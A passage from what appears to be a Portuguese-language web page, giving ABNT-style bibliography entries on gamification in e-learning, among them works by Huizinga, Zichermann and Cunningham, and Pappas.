<p class="wp-block-paragraph">GRIFFIN, Daniel. Gamification in E-Learning. Ashridge Business School, 2014. Disponível em: &lt;<a href="http://www.ashridge.org.uk/Website/Content.nsf/wELNVLR/Re-">http://www.ashridge.org.uk/Website/Content.nsf/wELNVLR/Re</a>sources:+Gamification+in+e-Learning?opendocument&gt;. Acesso em: 18 jun. 2019.</p>



<p class="wp-block-paragraph">HUIZINGA, J. Homo Ludens: O Jogo Como Elemento da Cultura. 6. ed. São Paulo: PERSPECTIVA, 2019.</p>



<p class="wp-block-paragraph">LI, W. <em>et al. </em>Gamicad: a gamified tutorial system for first time autocad users. 2020, [S.l.]: ACM, 2021. p. 103–112.</p>



<p class="wp-block-paragraph">PAPPAS, C. The Science And The Benefits of Gamification In eLearning. Disponível&nbsp;&nbsp;&nbsp; em:&nbsp;&nbsp;&nbsp; &lt;<a href="http://elearningindustry.com/science-benefits-gamification-elearning">http://elearningindustry.com/science-benefits-gamification-elearning&gt;. </a>Acesso em: 27 maio 2022.</p>



<p class="wp-block-paragraph">VIANNA, M. <em>et al. </em>Gamification, Inc. &#8211; Como reinventar empresas a partir de jogos. Edição: 1<sup>a </sup>ed. Rio de Janeiro: MJV Press, 2023.</p>



<p class="wp-block-paragraph">ZICHERMANN, G.; CUNNINGHAM, C. Gamification by Design: Implementing Game Mechanics in Web and Mobile Apps. 1 edition ed. Sebastopol, Calif:O’Reilly Media, 2021.</p>



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